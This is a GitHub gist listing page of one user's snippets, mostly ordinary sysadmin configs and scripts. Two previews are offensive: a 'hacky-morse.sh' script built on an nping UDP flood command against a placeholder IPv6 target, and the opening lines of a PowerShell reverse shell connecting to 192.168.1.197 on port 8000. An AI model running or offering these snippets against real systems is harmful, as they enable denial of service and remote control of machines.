Skip to content

Instantly share code, notes, and snippets.

View fadenb's full-sized avatar

Tristan Helmich fadenb

View GitHub Profile
@fadenb
fadenb / xmonad.hs
Created December 22, 2013 20:49
My current xmonad config (needs a lot of cleanup!)
import XMonad hiding ( (|||), Tall )
import XMonad.Operations
import Graphics.X11.Xlib
import qualified XMonad.StackSet as W
import qualified Data.Map as M
import Data.Ratio ((%))
import XMonad.ManageHook
@fadenb
fadenb / mptcp_map.json
Created February 14, 2014 13:41
Multipath tcp capable hosts from Alexa top 10k Sites
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@fadenb
fadenb / fnord.md
Last active August 29, 2015 14:02
Puppet future parser behavior change

Puppet 3.3.1

normal parser

root@precise64:~# puppet apply -e '$case = $::osfamily ? { somethingelse => "FNORD", Debian  => "upper case", debian => "lower case",} notify{"Result: ${case}":}'
Notice: Compiled catalog for precise64.muc.mayflower.de in environment production in 0.07 seconds
Notice: Result: upper case
Notice: /Stage[main]//Notify[Result: upper case]/message: defined 'message' as 'Result: upper case'
Notice: Finished catalog run in 0.05 seconds
root@precise64:~# puppet apply -e '$case = $::osfamily ? { somethingelse => "FNORD", debian  => "L case", Debian => "U case",} notify{"Result: ${case}":}'
@fadenb
fadenb / configuration-snippet.nix
Created December 15, 2016 10:34
Change wireless network interface MAC at boot using macchanger on NixOS
systemd = {
services = {
"macchanger-wireless" = {
description = "Changes MAC of my wireless interface for privacy reasons";
wants = [ "network-pre.target" ];
wantedBy = [ "multi-user.target" ];
before = [ "network-pre.target" ];
bindsTo = [ "sys-subsystem-net-devices-wlp3s0.device" ];
after = [ "sys-subsystem-net-devices-wlp3s0.device" ];
script = ''
@fadenb
fadenb / soup.io.sh
Last active July 10, 2020 22:26
Script for downloading all images posted on a soup (soup.io)
#!/usr/bin/env bash
# Author: Mike Herwig
# Description: Script for downloading all images posted on a soup (soup.io)
#where to download from
HOST="fadenb.soup.io"
#this is the regex for matching the images, you might want to update it when soup.io changes their urls
# 2017-02-14: Updated regex to catch new and old URLs
@fadenb
fadenb / hacky-morse.sh
Created January 1, 2018 13:33
Hacky script used to morse "34c3" on the 34C3 Grafana network traffic dashboard
#!/usr/bin/env bash
#...-- ....- -.-. ...--
FLOODCMD="timeout 30 nping --udp --data-length=65300 -N --delay 0 -c 1000000 -H --quiet -6 <YOUR TARGET IP6>"
#### 3
INITIALDATE=`date +%s`
STOPDATE1=$(($INITIALDATE + 300))
STOPDATE2=$(($INITIALDATE + 720))
STOPDATE3=$(($INITIALDATE + 1140))
@fadenb
fadenb / iptables.grok
Created March 3, 2019 00:38 — forked from Caligatio/iptables.grok
iptables Grok Pattern
# GROK Custom Patterns (add to patterns directory and reference in GROK filter for iptables events):
# GROK Patterns for iptables Logging Format
#
# Created 6 Aug 2016 by Brian Turek <brian.turek@gmail.com>
# Most of this was taken from another source but now I cannot find it for credit
#
# Usage: Use the IPTABLES pattern
NETFILTERMAC %{MAC:dest_mac}:%{MAC:src_mac}:%{ETHTYPE:ethtype}
ETHTYPE (?:(?:[A-Fa-f0-9]{2}):(?:[A-Fa-f0-9]{2}))
$socket = new-object System.Net.Sockets.TcpClient('192.168.1.197', 8000);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
@fadenb
fadenb / log4j2.xml
Created August 14, 2020 10:03
Modified Graylog log4j2.xml file that (in addition to the default config) sends Graylog logs to itself via GELF UDP (we have a GELF UDP input active on port 10002). 💣 this can lead to nasty loops breaking your Graylog setup.
<?xml version="1.0" encoding="UTF-8"?>
<Configuration packages="org.graylog2.log4j" shutdownHook="disable">
<Appenders>
<RollingFile name="rolling-file" fileName="/var/log/graylog-server/server.log" filePattern="/var/log/graylog-server/server.log.%i.gz">
<PatternLayout pattern="%d{yyyy-MM-dd'T'HH:mm:ss.SSSXXX} %-5p [%c{1}] %m%n"/>
<Policies>
<SizeBasedTriggeringPolicy size="50MB"/>
</Policies>
<DefaultRolloverStrategy max="10" fileIndex="min"/>
</RollingFile>
@fadenb
fadenb / iperf-notes.md
Last active November 25, 2020 14:12
FFMUC Iperf Testing 2020-11-25

Iperf Testing FFMUC 2020-11-25

Setup

  • Hetzner KVM host
  • VM with 6 vCPU
  • Virtio nic (4 queues)
  • FFMUC x86 offloader image

Tests